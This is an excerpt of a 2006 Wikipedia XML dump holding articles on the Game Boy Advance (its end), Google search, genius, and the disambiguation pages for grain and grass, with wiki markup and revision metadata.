'''TV Tuner''' - Not much is known as of yet, but it does what it implies. It will most likely be what is being sold now on the Game Boy Advance, and that is to make the portable system into a portable television.

'''Unofficial [[Game Boy Advance flash cartridges]]''' are also available. While they enable the distribution of [[homebrew]] applications and content, they may also facilitate the illegal distribution of copyrighted games.

==Sales and marketing==
The Game Boy Advance, along with the Game Boy Advance SP and the Game Boy micro, has sold well. As of [[September 2005]], the Game Boy Advance series has sold 70.04 million units worldwide.[http://palgn.com.au/article.php?id=3605&amp;sid=4cea9e5e814470cb7ea6fd462d04a13e]

==Games==
The Game Boy Advance has become the modern flagship of sprite-based games. With hardware superior to the [[Super Nintendo Entertainment System|Super NES]] it has proven that sprite-based technology could improve and live side by side with the 3D games of today's consoles. The Game Boy Advance not only has one's typical platformers, but also a huge collection of SNES-style [[Computer role-playing game|RPG]]s. It has also become a popular system for [[old school|old-school]] gamers due to the increasing amount of games ported from various [[8-bit]] and [[16-bit]] systems of the previous era. Through the use of [[Game Boy Advance flash cartridges|flash cartridges]] and [[emulators]] the Game Boy Advance can even play [[Nintendo Entertainment System|NES]] and [[PC Engine]] games, as well as [[Adventure Game Interpreter|AGI]]-based [[Sierra Entertainment|Sierra On-Line]] PC adventure games.

Standout original titles include:

*''[[Advance Wars]]''
*''[[Boktai]]''
*''[[Golden Sun]]''
*''[[Final Fantasy Tactics Advance]]''
*''[[Fire Emblem: Blazing Sword|Fire Emblem]]''
*''[[The Legend of Zelda: The Minish Cap]]''
*''[[Mario &amp; Luigi: Superstar Saga]]''
*''[[Megaman Zero]]''
*''[[Metroid Fusion]]''
*''[[Metroid: Zero Mission]]''
*''[[Mother 3]]''
*''[[Pokémon Ruby and Sapphire|Pokémon Ruby / Sapphire]]''
*''[[WarioWare, Inc.: Mega Microgame$]]''

== Screenshots ==
&lt;center&gt;
&lt;gallery&gt;
Image:GBA_Advance_Wars.png|''[[Advance Wars]]''&lt;br /&gt;[[Intelligent Systems]]/Nintendo (2001)
Image:GBA_Golden_Sun.png|''[[Golden Sun]]''&lt;br /&gt;Camelot (2001)
Image:GBA_Mario_Kart.png|''[[Mario Kart Super Circuit]]''&lt;br /&gt;Nintendo (2001)
Image:GBA_Metroid_Fusion.png|''[[Metroid Fusion]]''&lt;br /&gt;Nintendo (2002)
Image:GBA_Castlevania_Aria_of_Sorrow.png|''[[Castlevania: Aria of Sorrow]]''&lt;br /&gt;[[Konami]] (2003)
Image:GBA_Fire_Emblem_Fight.png|''[[Fire Emblem]]''&lt;br /&gt;Intelligent Systems/Nintendo (2003)
Image:GBA_Pokemon_Ruby.png|''[[Pokémon Ruby]]''&lt;br /&gt;Nintendo (2003)
Image:GBA_Wario_Ware_Inc_2.png|''[[WarioWare, Inc.: Mega Microgame$|Wario Ware, Inc.]]''&lt;br /&gt;Nintendo (2003)
&lt;/gallery&gt;
&lt;/center&gt;

==See also==
{{dedicated video game handheld consoles}}
* [[e-Reader]]
* [[List of Game Boy Advance games]]
* [[List of Game Boy colors and styles]]
* [[Nintendo DS]]

==External links==
* [http://www.gameboy.com/choose.jsp GBA Website] - The official website 
*[http://www.n-sider.com N-Sider] - Nintendo fansite database
*[http://www.gameboy-advance.net Gameboy-Advance.Net] - Information on GBA Flash Carts and how to emulate other systems on the GBA
*[http://www.nightmode.org/pocket/ PogoShell] - Software to turn the GBA into a PDA system
*[http://www.gba-roms.net/free-gba-roms.htm GBA PD game roms] - homebrew freeware software catalog
*[http://www.bripro.com/gbagi/index.php GBAGI] - Emulator for running AGI base Sierra On-Line games on the GBA
[http://www.gbadev.org/ gameboy advance development] - A homebrew development site
*[http://www.vbalink.info/ VBALink] - Modified version of VBA emulator with link cable multiplayer and LAN support.
*[http://www.pdroms.com/ PDRoms] - Big homebrew software archive and homebrew release news
*[http://www.pocketheaven.com/ PocketHeaven] - A forum and many useful resources about GBA.
*[http://jason.spashett.com/mmegba/index.html GBA MME] - Game Boy Advance port of Microsoft Mobile Explorer
*[http://revo-news.blogspot.com Revo-News] - Up to date Nintendo coverage

{{Nintendo hardware|Game Boy Advance}}

[[Category:Game Boy consoles]]
[[Category:Sixth-generation video game consoles]]

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    </revision>
  </page>
  <page>
    <title>Google search</title>
    <id>12431</id>
    <revision>
      <id>39732696</id>
      <timestamp>2006-02-15T13:39:34Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Jackassmaniac|Jackassmaniac]] ([[User talk:Jackassmaniac|Talk]]) to last version by 129.123.122.92</comment>
      <text xml:space="preserve">:''This article is about the search engine. For the corporation, see [[Google|Google, Inc.]]; for the underlying technology, see [[Google platform]]; for other uses see [[Google (disambiguation)]].''

[[Image:Google_screenshot.png|thumb|300px|Google's main page's unusually spartan design, uncluttered appearance and quick loading time have contributed greatly to the site's mass appeal.]]

'''Google''' is a [[search engine]] owned by [[Google|Google Inc.]] whose [[mission statement]] is to &quot;organize the world's information and make it universally accessible and useful.&quot; The largest search engine on the web, Google receives over 200 million queries each day through its various services.

In addition to its tool for searching [[webpage]]s, Google also provides services for searching [[raster graphics|images]], [[Usenet]] [[newsgroup]]s, news websites, videos, searching by locality, maps, and items for sale online. As of January [[2006]], Google has indexed 9.7 [[1_E9|billion]] web pages, 1.3 billion images, and over one billion Usenet messages&amp;nbsp;&amp;mdash; in total, approximately 12 billion items. It also [[cache]]s much of the content that it [[web indexing|indexes]]. Google operates other tools and services including [[Google News]], Google Suggest, [[Froogle]], and Google Desktop Search. See [[list of Google services and tools]] for a complete list.

{{wikibookschapter|book=How to search|chapter=Google|name=Google}}

==History==
The Google search engine began as a research project in early [[1996]] by [[Lawrence E. Page|Larry Page]] and [[Sergey Brin]], two [[Stanford University]] graduate students who developed the theory that a search engine based on a mathematical analysis of the relationships between websites would produce better results than the basic techniques then in use. It was originally nicknamed &quot;BackRub&quot; because the system checked [[backlinks]] to estimate a site's importance.

Convinced that the pages with the most links to them from other highly relevant web pages must be the most relevant ones, Page and Brin decided to test their thesis as part of their studies, and laid the foundation for their search engine. The web site called &quot;Google!&quot; (with an exclamation mark) went live at the [[domain name]] ''google.com''. They formally founded their company of the same name, Google Inc., on [[September 7]], [[1998]] in a friend's garage in [[Menlo Park, California]]. Brin's lack of interest in writing [[HTML]] code used for designing web pages meant that the site's design used a minimal interface. 

Google introduced advertisements in 2000, which were sold by the [[keyword]] so that they would be more relevant to the end user, and the ads were text-based in order to reduce loading time and to keep the page uncluttered. In September 2001, Google's ranking mechanism [[PageRank]] was awarded a [[United States|U.S.]] [[patent]]. The patent was officially awarded to Stanford University and lists Lawrence Page as the inventor. At its peak in early 2004, Google handled upwards of 80 percent of all search requests on the Internet through its website and clients like [[Yahoo!]], [[AOL]], and [[CNN]]. {{fn|1}} Google's share of web search fell in 2004 when Yahoo! dropped Google's search technology in favor of their own.

The Google search site includes humorous features such as cartoon modifications (called &quot;[[Google Doodle]]s&quot;) of their logo for special occasions, the option to display the site in fictional or humorous languages such as [[Klingon language|Klingon]] and [[Leet]], and April Fool's Day jokes about the company.

It has been conjectured that Google's future is personalized searches, using the data that is gathered from their Orkut, Gmail, and Froogle products to give results based on an individuals previous actions. In fact, there is a Personalized Google Search Beta in [[Google Labs]], the experimental section of the site. {{fn|2}}

==The name &quot;Google&quot;==

===Etymology===
The name &quot;Google&quot; is an accidental misspelling of the word ''[[googol]]'', which was coined in [[1938]] by [[Milton Sirotta]], nephew of [[mathematician]] [[Edward Kasner]], to refer to the number represented by 1 followed by a hundred zeros, &lt;math&gt;10^{100}&lt;/math&gt;. Google's use of the term reflects the company's mission to organize the immense amount of information available on the Web.

===Trademark and domain names===
&quot;[[Google (verb)|To google]],&quot; as a [[verb]], has come to mean &quot;to search for something on Google&quot;; because of Google's popularity (in January [[2005]], 52 percent of all web searches {{fn|3}} , but was as high as 80 percent) it has also generically come to mean &quot;to search the web.&quot; Google officials have discouraged this usage of the company's name out of fear of [[trademark dilution]], as it could lead to their name becoming a [[genericized trademark]].

To prevent [[domain hijacking]] by unaffiliated third parties, Google has purchased the redirecting rights to several similar-sounding [[domain names]] like ''gogle.com'', ''googel.com'', etc. See [[#External links|external links]] below for other domain names owned by Google. The registration of other domain names to prevent hijacking and for humorous purposes is by no means restricted to Google.

==The search engine==

===Index size===
* ~ [[1998]]: ~ 25,000,000
* August [[2000]]: 1,060,000,000
* January [[2002]]: 2,073,000,000
* February [[2003]]: 3,083,000,000
* September [[2004]]: 4,285,000,000
* November 2004: 8,058,044,651 web pages, 880,000,000 images, 845,000,000 Usenet messages, 4,500 news sources
*June [[2005]]: 8,058,044,651 web pages, 1,187,630,000 images, 1 billion Usenet messages, 6,600 print catalogs, 4,500 news sources
(source: [[Internet Archive]] {{fn|4}}, GoogleBlog {{fn|5}}, [[Google Groups]] {{fn|6}}, [[Google Catalogs]] {{fn|7}})

===Physical structure===
Google employs [[data center]]s full of low-cost commodity computers running a custom [[Red Hat Linux]] in several locations around the world to respond to search requests and to index the web. The [[server farm]]s in the data centers are built using a [[shared nothing architecture]]. The indexing is performed by a program named Googlebot, which periodically requests new copies of web pages it already knows about. The more often a page updates, the more often Googlebot will visit. The links in these pages are examined to discover new pages to be added to its internal database of the web. This index database and web page cache is several terabytes in size.  Google has developed its own file system called [[Google File System]] for storing all this data. 

Please see [[Google platform]] regarding the number of Google's servers and their hard- and software.



===PageRank and indexing===
Google uses an [[algorithm]] called [[PageRank]] to rank web pages that match a given search string. The PageRank algorithm computes a recursive figure of merit for web pages, based on the weighted sum of the PageRanks of the pages linking to them. The PageRank thus derives from [[human]]-generated links, and correlates well with human concepts of importance. Previous keyword-based methods of ranking search results, used by many search engines that were once more popular than Google, would rank pages by how often the search terms occurred in the page, or how strongly associated the search terms were within each resulting page. In addition to PageRank, Google also uses other secret criteria for determining the ranking of pages on result lists.

Google not only indexes and caches [[HTML]] files but also 13 other file types {{fn|8}}, which include [[Portable Document Format|PDF]], [[Word document]]s, [[Excel spreadsheet]]s and plain text files. Except in the case of text files, the cached version is a conversion to HTML, allowing those without the corresponding viewer application to read the file.

Google may have difficulty indexing some websites, in particular those that use frames, links embedded within JavaScript or Java, or complex URLs with more than six variables in the query string. Google offers an explanation why some web pages haven't been included {{fn|8}}. 

Users can customize the search engine somewhat. They can set a default language, use &quot;SafeSearch&quot; filtering technology (which is on 'moderate' setting by default), and set the number of results shown on each page. Google has been criticized for placing long-term [[HTTP cookie|cookies]] on users' machines to store these preferences, a tactic which also enables them to track a user's search terms over time. For any query (of which only the 32 first keywords are taken into account), up to the first 1000 results can be shown with a maximum of 100 displayed per page.

Despite its immense index, there is also a considerable amount of data in databases, which are accessible from websites by means of queries, but not by links. This so-called [[deep web]] is minimally covered by Google and contains, for example, [[catalog]]ues of [[library|libraries]], official [[legislative]] documents of governments, [[phone book]]s, etc.

As an April Fool's parody of PageRank, Google introduced an explanation of something called &quot;PigeonRank&quot; {{fn|10}}

===Google optimization===
[[Image:Miserable failure.png|thumb|300px|The webpage that shows the results of a search for [[Miserable failure]]. This is an example of [[Google bomb]]ing.]]

Since Google is the most popular search engine, many [[webmaster]]s have become eager to influence their websites' Google rankings. An industry of consultants has arisen to help websites raise their rankings on Google and on other search engines. This field, called [[search engine optimization]], attempts to discern patterns in search engine listings, and then develop a methodology for improving rankings.

One of Google's chief challenges is that as its algorithms and results have gained the trust of web users, the profit to be gained by a commercial web site in subverting those results has increased dramatically. Some search engine optimization firms have attempted to inflate specific Google rankings by various artifices, and thereby draw more searchers to their clients' sites. Google has managed to weaken some of these attempts by reducing the ranking of sites known to use them.

Search engine optimization encompasses both &quot;on page&quot; factors (like body copy, title tags, H1 heading tags and image [[alt attribute]]s) and &quot;off page&quot; factors (like anchor text and PageRank). The general idea is to affect Google's relevance algorithm by incorporating the keywords being targeted in various places &quot;on page,&quot; in particular the title tag and the body copy (note: the higher up in the page, the better its keyword prominence and thus the ranking). Too many occurrences of the keyword, however, cause the page to look suspect to Google's spam checking algorithms.

One &quot;off page&quot; technique that works particularly well is [[Google bomb]]ing in which websites link to another site using a particular phrase in the anchor text, in order to give the site a high ranking when the word is searched for.

Google publishes a set of guidelines for a website's owners who would like to raise their rankings when using legitimate optimization consultants {{fn|11}}. The New Zealand DMA offers a more comprehensive guide to SEO ethics standards {{fn|12}}.

==Services and tools==
:''Main article: [[List of Google services and tools]]''
Google offers a number of tools and services. Some, such as Google's [[calculator]], stock quotes and weather results are integrated into what they call the &quot;OneBox&quot;, meaning they appear in-line with other search results {{fn|13}}. The name is based on an ideal of all information being available from the one search box.

Many of Google's other services are based on applying search technology to other sources of data. Examples of this are Google Image Search, Google News, and Google Video, as well as Froogle, their catalog searching service. However, many of these services have become integrated as OneBox results and now appear in normal search results as well as having their own pages. {{fn|14}} 

Google also provides other related services that are not directly related to searching. These include their [[AdSense]] and [[AdWords]] targeted text advertising services, [[Gmail]], [[Blogger.com|Blogger]] weblogging service and [[Google Web Portal]] a beta web service similar to My Yahoo.

Lastly, there are a number of tools written by Google to interact with their search and services. As of February [[2005]], these have been written exclusively for the [[Microsoft Windows]] operating system. Such tools include [[Google Desktop]], Google Deskbar, Google Toolbar (for IE and also as a [[Mozilla Firefox|Firefox]] extension), Gmail Notifier, [[Google Earth]] and [[Google Talk]].

==Jargon==
; [[Search engine optimization|SEO]] : Search Engine Optimization
; [[google (verb)|To google]] : to search something using google (also, to seek information on someone by entering their full name or other information)
; [[wikt:Googler|Googler]] :  a person who uses Google's features very efficiently. Mostly uses the &quot;I am feeling lucky&quot; button when searching. Fan of a google. 'Googler' is sometimes also used for &quot;Expert Online Searcher&quot;.  Also, a company term for a full-time google employee.
; [[wikt:Noogler|Noogler]] : New Googler
; [[wikt:Googlosophy|Googlosophy]] : The science of Google
; [[wikt:Googlenym|Googlenym]], Googlonym, Memomark, Google URL : A mental bookmark expressed as Google search (&quot;go to my site by entering 'John Doe Chicago' into Google&quot;). A phrase or group of random key words for which a Google search returns a corresponding page.
; [[wikt:SERPs|SERPs]] : Search Engine Result Pages
; [[Nigritude ultramarine]], SERPs, Seraphim Proudleduck, Mangeur de cigogne : SEO competitions
; [[wikt:Blackhat SEO|Blackhat SEO]] : search engine optimization using dirty tricks such as linkfarms, wiki or guestbook spamming, and so on
; [[wikt:Googledork|Googledork]] : A person who accidentally exposes information to the web by placing it into a location spidered by Google.
; [[wikt:Whitehat SEO|Whitehat SEO]] : search engine optimization using enhanced content, improved accessibility and usability, unique page titles, non-JavaScript linking methods, and so on
; [[wikt:Google-proof|Google-proof]] : search-phrase delivering exactly the intended result while searching with google
; [[Sandbox Effect]] : The name given to the phenomenon in which Google filters (from its results) websites created after March 2004.
; [[Google bomb]] : An attempt to influence the ranking of a given site in results returned by the Google search engine. Also known as ''Google wash''.
; [[Blue Red Yellow Blue Green Red]] : synonym of Google (from the colors of their logo)
; [[Googlewhack]] : A search using two dictionary-valid (underlined by Google) words that only results in one hit.

==Games with Google==
* In [[Googlewhack]] you attempt to find two words that produce exactly one search result.
* In [[Google Talk (game)|Google Talk Game]], google searches are used to complete a beginning of a sentence with words, leading to amusing or interesting results.
* In [[Googlefight]], you pit two keywords against each other to find which one has more results.
* In [http://grant.robinson.name/projects/guess-the-google/ Guess The Google], you attempt to guess which search term resulted in the displayed images.
* In [http://www.c6.org/toogle Toogle], you can search images with the text of the search item making up the image. &quot;The most comprehensive image buggery on the web&quot;

==Books==
*''[[Google Hacks]]'' from [[O'Reilly Media|O'Reilly]] is a book containing tips about using Google effectively. Now in its second edition. ISBN 0596008570
*''Google: The Missing Manual'' by Sarah Milstein and Rael Dornfest (O'Reilly, 2004). ISBN 0596006136
*''How to Do Everything with Google'' by Fritz Schneider, Nancy Blachman, and Eric Fredricksen (McGraw-Hill Osborne Media, 2003). ISBN 0072231742
*''Google Power'' by Chris Sherman (McGraw-Hill Osborne Media, 2005). ISBN 0072257873

==See also==
*[[Dennis Hwang]]
*[[elgooG]]
*[[Gmail]]
*[[Google Watch]]
*[[Googlewhack]]
*[[Peter Norvig]]
*[[List of Google services and tools]]
*[[List of search engines]]

==References==
* {{fnb|1}}[http://www.onestat.com/html/aboutus_pressbox21.html Statistics]
* {{fnb|2}}[http://labs.google.com/personalized Personalized Google Search]
* {{fnb|3}}[http://www.iht.com/articles/2005/01/30/business/google31.html International Herald Tribune article]
* {{fnb|4}}[http://web.archive.org/web/%2a/google.com Internet Archive copy of google.com]
* {{fnb|5}}http://googleblog.blogspot.com/2005/02/get-picture.html
* {{fnb|6}}[http://groups.google.com/googlegroups/about.html About Google Groups Beta]
* {{fnb|7}}[http://catalogs.google.com/ Google Catalogs]
* {{fnb|8}}[http://www.google.com/help/faq_filetypes.html Filetypes FAQ]
* {{fnb|9}}[http://www.google.com/webmasters/2.html Exclusion of pages explanation]
* {{fnb|10}}[http://www.google.com/technology/pigeonrank.html Pigeonrank explanation]
* {{fnb|11}}[http://www.google.com/webmasters/guidelines.html guidelines]
* {{fnb|12}}[http://www.dma.co.nz/pdfs/Standards_for_Search_Engine_Marketing.pdf SEO ethics standards]
* {{fnb|13}}[http://www.google.com/help/interpret.html OneBox]
* {{fnb|14}}[http://blog.searchenginewatch.com/blog/050207-082648 searchenginewatch.com article]

==External links==
*[http://www.google.com/ Google website]
*[http://www.google.com/options/index.html Google Services]
*[http://www.google.com/language_tools Google Language Tools]
*[http://www.google.com/holidaylogos.html Google doodles]
*[http://web.archive.org/web/19981111184551/google.com Early Google.com] - Google as on [[November 11]], [[1998]] from [[Internet Archive]]
*[[Open Directory Project]]: [http://www.dmoz.org/Computers/Internet/Searching/Search_Engines/Google/ Google]
*[http://web.archive.org/web/19980502040303/google.stanford.edu Original Stanford.edu Google] - Google on Stanford.edu
*[http://www.linksandlaw.com/adwords-pendinglawsuits.htm Overview of lawsuits against Google's AdWord program]
*[http://www.businessweek.com/technology/content/mar2004/tc2004039_1592_tc047.htm Google's Ads -- and Minuses]
*[http://alan.blog-city.com/read/1003011.htm An Evening with Google's Marissa Mayer] - with several facts about Google's history
*[http://www.jdhodges.com/tools/suggest/ Google Suggest for non-javascript browsers]
*[http://whois.webhosting.info/216.239.37.99 List of alternative Google domains]
*[http://googleblog.blogspot.com/ Official Google Weblog]
*[http://www.google.com/intl/en/addurl.html Google accepts submissions for websites that need indexing]
*[http://labs.google.com/papers/mapreduce.html MapReduce article from Google Labs]
*[http://www.rustybrick.com/rustysearch.php The Search Engine Relevancy Challenge] - gives you the top 10 results from Google, Yahoo, MSN and Ask Jeeves, but whites out the name of the Search Engine returning the result. Instead it is possible to vote on a site's relevancy. Site will soon post the results of the experiment. 
*[http://www.isedb.com/news/article/765 Google Advanced Search Tips]
*[http://www.google.com/newsletter/librarian/librarian_2005_12/article1.html How does Google collect and rank results?]

===Search engine charts===
*[http://www.bruceclay.com/searchenginerelationshipchart.htm Bruce Clay, INC's Search Engine Relationship Chart ®]
*[http://www.ihelpyou.com/search-engine-chart.html ihelpyou, INC's Search Engine Partnership Chart]
*[http://www.langreiter.com/exec/yahoo-vs-google.html Yahoo! vs. Google Results diagram]

[[Category:Google|*]]
[[Category:Internet search engines]]

[[bg:Google]]
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    </revision>
  </page>
  <page>
    <title>Genius</title>
    <id>12432</id>
    <revision>
      <id>41565095</id>
      <timestamp>2006-02-28T04:35:29Z</timestamp>
      <contributor>
        <ip>71.112.3.194</ip>
      </contributor>
      <text xml:space="preserve">A '''genius''' is a person with distinguished mental prowess. This can manifest either as a foremost [[intellect]], or as an outstanding [[creativity|creative]] [[talent]]. The IQ of a genius is usually defined as 140 or more. The term also applies to one who is a [[polymath]], or someone skilled in many mental areas. The term specifically applies to mental rather than athletic skills, although it is also [[colloquial|colloquially]] used to denote the possession of a superior talent in any field; e.g., [[Pelé]] may be said to have a genius for [[soccer|football]] or [[Gandhi]] for [[diplomacy]].

==Etymology==
In [[Ancient Rome]], the ''genius'' was the guiding or &quot;tutelary&quot; spirit of a person or indeed of an entire [[gens]].  A related term is ''[[genius loci]]'', the spirit of a specific locale. In contrast, the internal driving force within all living things is the ''[[animus]]''. A specific [[spirit]], or ''[[daemon (mythology)|daemon]]'', may inhabit an image or [[icon]], giving it supernatural powers.

A comparable term from [[Arab]]ic lore is a [[djinn]], often Anglicized as &quot;genie&quot;. Note, however, that this term is a [[false friend]], not a [[cognate]].

==Gifted==
Geniuses come gifted with phenomenal brilliance, and are often as insensitive to the limitations of mediocrity as they may be very sensitive emotionally themselves, sometimes both. The term prodigy simply denotes the presence of exceptional talent or genius in early childhood. The terms prodigy and [[child prodigy]] are synonymous, the latter being a [[pleonasm]].

Artistic genius may show itself in early childhood (prodigy) or later in life; either way, geniuses eventually differentiate themselves from the rest through great originality. Intellectual geniuses usually have crisp, clear-eyed visions of given situations, in which interpretation is unnecessary—the facts just hit them, and they build or act on the basis of those facts, usually with tremendous energy. Here too, accomplished geniuses in intellectual fields start out in many cases as prodigies, gifted with superior memory, [[pattern recognition]] or just understanding.

The classical skill of the musical genius is the capability of holding many different melodies in one's head at once and knowing how they interact together.  In the classical greats ([[Johann Sebastian Bach|Bach]], [[Mozart]], etc) you can hear and read about them holding 5, 6 and even 7 different melodies in their head at once.  They could just write music, all of it, at once without having to hear it played.  In comparison, the average  person can hold 1 melody in memory.

A theory put forth by Harvard professor [[Howard Gardner]] in his 1983 book ''Frames of Mind'' states there are seven kinds of intelligences, each with its own type of genius. See [[theory of multiple intelligences]] for more on this view.

Intelligence is exceptionally difficult to quantify.  The standard measurement in the United States is by the [[I.Q.]] test.  This is [[IQ test controversy|criticized]] by many as it only measures some aspects (some argue an [[ethnocentric]] and academic aspect) of intelligence.

==Limitations==
It has often been noted that geniuses are accused of a lack of common sense. Stories of a genius in a given field being incapable of grasping so-called &quot;everyday&quot; concepts are abundant. [[Albert Einstein|Einstein]] reportedly sawed the rudder off his sailboat while at sea. One must remember that a genius is often driven to focus intensely on a given subject. Such focus might present itself as being [[obsessive]]/[[compulsive]] in nature, but it might also simply have been a choice made by the individual. If one is engaged in groundbreaking work in one's field, maintaining other elements of life might logically be relegated to insignificance. While the [[absent-minded professor]] notion is not without merit, one must remember that a genius is just as likely to encounter emotional problems as might be anyone else. Note the peculiarities of figures like [[Glenn Gould]] and [[Bobby Fischer]]. Such examples, however, must be recognized as products of mental or emotional instability rather than byproducts of genius ''per se'', though there is a researched correlation between I.Q. and being maladjusted.

Socio-emotional problems are more prevalent in geniuses with an IQ of greater than 145.  There are a variety of reasons why scientists believe this.  Asynchronous development and obtuse relationships of children is one notable reason explaining such maladjustedness.  The single greatest adjustment problem faced by the gifted is the tendency to become isolated from the rest of humanity.  As these children do not share other children's interests, their vocabulary, or their desire to organize activities, the genius child will withdraw.  The gifted are not likely to fall victims to positive [[suggestion]] but many of them develop [[negativism]] to a conspicuous degree.

Some research shows that companionship is difficult to find for geniuses not just due to being maladjusted.  As intelligence of a person goes up, what they consider as their peers constitutes a shrinking number of people.  For example, at an IQ of 135 only every hundredth person would be of equal or greater IQ.  This number shrinks significantly as IQ goes up.

[[Leta Hollingworth]] implied the idea of a &quot;communication range&quot; for geniuses.  Observation shows that there is a direct ratio between the intelligence of the leader and that of the led. To be a leader of his contemporaries a child must be more intelligent but not too much more intelligent than those to be led.  This implies that geniuses make better leaders and that they could have disdain for authority.  The theory goes on to state that children and adults become intellectually isolated from their contemporaries when an IQ difference of 30 points exists. [http://www.prometheussociety.org/articles/Outsiders.html]

It is important to note that some social and economic factors can prevent genius from being expressed.  Such factors include and have included societal expectations on women and repression of minorities.  For this reason, apparent male-bias and European-bias among the past and current geniuses of the world may not be indicative of an actual difference in the incidence of biological geniuses from other groups.

==In philosophy==
In the [[philosophy]] of [[Arthur Schopenhauer]], a ''genius'' is a person in whom intellect predominates over [[will (philosophy)|will]] much more than for the average person.  In [[Schopenhauer's aesthetics]], this predominance of intellect over will allows the genius to create artistic or academic works that are objects of pure, disinterested contemplation, the chief criterion of the aesthetic experience for Schopenhauer.  Their remoteness from mundane concerns means that Schopenhauer's geniuses often display [[maladaptive]] traits in more mundane concerns; in Schopenhauer's words, they fall into the mire while gazing at the stars.

In the philosophy of [[Immanuel Kant]], ''genius'' is the ability to independently arrive at and understand concepts that would normally have to be taught by another person. In the Kant Dictionary (ISBN 0-631-17535-0), Howard Caygill talks of the essential character of &quot;genius&quot; for Kant being originality. This genius is a talent for producing ideas which can be described as non-imitative. Kant's discussion of the characteristics of genius is largely contained within the ''[[Critique of Judgement]]'' and was well received by the [[romantics]] of the early 19th century.

==Pluralization==
In this context, the plural of &quot;genius&quot; is &quot;geniuses.&quot; The form, &quot;Genii,&quot; while intuitive given words such as &quot;cactus&quot; (pluralized as &quot;cacti&quot;), is the plural of a different kind of genius: the aforementioned guardian spirit of Roman mythology.

==See also==
*[[List of polymaths]]
*[[Nobel Prize]]
*[[Triple Nine Society]]
*[[International Society for Philosophical Enquiry]]
*[[Stupidity]]
*[[Child prodigy]]
*[[Flynn Effect]]

==References==
* {{cite book | author = [[Harold Bloom]] | title = Genius: A Mosaic of One Hundred Exemplary Creative Minds | publisher = Warner Books | year = November 2002 | id = ISBN 0446527173 }}
* {{cite book | author = [[James Gleick]] | title = Genius: The Life and Science of Richard Feynman | publisher = Pantheon | year = [[September 29]], [[1992]] | id = ISBN 0679408363 }}
* {{cite book | author = [[Clifford A. Pickover]] | title = Strange Brains and Genius: The Secret Lives of Eccentric Scientists and Madmen | publisher = Plenum Publishing Corporation | year = [[May 1]], [[1998]] | id = ISBN 0306457849 }}
* {{cite book | author = [[Stephen Jay Gould]] | title = The Mismeasure of Man, revised and expanded | publisher = W. W. Norton | year = [[1991]] | id = ISBN 039303972 }}


==External links==
* [http://hem.bredband.net/b153434/Index.htm Estimated IQs of the greatest geniuses]
* [http://www.prometheussociety.org/articles/Outsiders.html The Outsiders (A look at the genius condition)]

[[Category:Giftedness]]

[[cs:Génius]]
[[da:Geni]]
[[de:Genie]]
[[es:Geni]]
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[[he:גאון]]
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[[lt:Genijus]]
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[[sr:Геније]]
[[sv:Geni]]</text>
    </revision>
  </page>
  <page>
    <title>Grain</title>
    <id>12434</id>
    <revision>
      <id>40376208</id>
      <timestamp>2006-02-20T03:35:53Z</timestamp>
      <contributor>
        <username>R'son-W</username>
        <id>316079</id>
      </contributor>
      <comment>/* Others */</comment>
      <text xml:space="preserve">The word '''grain''' has several meanings, most being descriptive of a small piece or [[particle]]. 

===Particle-related===
The primary definition is the agricultural one, with the others derived from it.
* In '''[[agriculture]]''', a grain is the [[seed]] of a [[Poaceae|grass]], a simple dry [[fruit]] technically called a [[caryopsis]]. Such crops are often called [[cereal]]s. Grain can also refer to other types of small seeds, though this is technically less correct.
* In '''[[unit of measurement|units of measurement]]''', the [[grain (measure)|grain]] is a unit of [[mass]] equal to 64.79891 milligrams. It was originally based on the weight of one grain of [[barley]]. It was used in the past for older [[medication|drugs]] such as [[aspirin]], for [[bullet]]s, and for [[precious metal]]s.
* In '''[[geology]]''', a grain is a single particle of rock or other material, such as [[sand]] or [[salt]]; see [[grain size]].
* In '''[[materials science]]''' (especially [[metallurgy]]), a grain is a single crystal inside solid-state matter, also referred to as [[crystallite]] &amp;mdash; related to the obsolete term &quot;corn&quot; as in [[corned beef]].
* In '''[[photography]]''', the fineness of [[image resolution]] for [[photographic film]] (i.e., ''graininess'' of a picture), originally related to the (crystallographic) grain size of [[silver iodide]].

===Others===
* In '''[[wood]]''', grain describes the alignment and texture of the wood fibres. This is often important in its effect on [[woodworking]] techniques (e.g. ''[[plane (tool)|going against the grain]]'').
* In '''[[golf]]''', the direction in which individual blades of [[grass]] lie, usually in reference to a [[putting green]].
* In '''[[textile]]s''', grain refers to the direction of woven fabric's [[warp]] (lengthwise) and [[weft]] (crosswise) threads.
* In '''[[rocket science]]''', grain refers to the solid propellant of a [[rocket]] (either [[solid rocket|solid fuelled]] or [[hybrid rocket|hybrid]]), more or less a hollow cylinder, sometimes textured inside, and possibly very large.
* In '''[[computer science]]''', grain refers to the size of code executed by a thread or process before it is interrupted in a multiprocess system (its [[granularity]]). Thus we have fine-grained and coarse grained parallelism.
* In '''[[physics]]''', a [[fine-grained]] description is one which contains a lot of small-scale detail.  Reducing the amount of detail gives a [[coarse-grained]] description.
* Grain may refer to the place '''[[Isle of Grain]]''' in [[Kent]], [[England]], on which lies the village of [[Grain, Kent]].
* Grain is one of the stocks in the game [[Stock Ticker]].
* In [[music]], see [[granular synthesis]].

{{disambig}}
[[Category:Grains]]

[[es:Grano (unidad de masa)]]
[[io:Grano]]
[[pt:Grão]]</text>
    </revision>
  </page>
  <page>
    <title>Grass (disambiguation)</title>
    <id>12435</id>
    <revision>
      <id>34238382</id>
      <timestamp>2006-01-07T13:42:52Z</timestamp>
      <contributor>
        <ip>80.230.49.121</ip>
      </contributor>
      <text xml:space="preserve">*In popular language '''[[grass]]''' means a short, green, ground covering or [[lawn]], usually, but not necessarily made of a &quot;true grass&quot; or grasses. ''See also'' [[pasture]], [[grassland]]. 
*In [[botany]], '''grass''' refers to [[plants]] of the Family [[Poaceae]]. These are the ''true grasses''. 
* [[Günter Grass]] is a  [[Nobel Prize]]-winning [[Germany|German]] author.
* [[Cut Grass]] was an army commander in the [[Red Alert]] game universe.
* [[Angelika Grass]] was a Nazi concentration camp overseer.
* '''Grass''' is [[slang]] for [[Cannabis (drug)|cannabis]] (marijuana) or for a [[Informant|criminal who informs]] on his accomplices.
* '''''Grass''''' is the name of a [[1989]] [[science fiction]] novel by [[Sheri S. Tepper|Sheri Tepper]].
* '''''Grass''''' is the name of a [[2003]] television series featuring [[Simon Day]].
* '''''[[Grass (film)|Grass]]''''' is a movie title from 1925
* '''[[GRASS programming language|GRASS]]''' for &quot;GRAphics Symbiosis System&quot; is a computer programming language
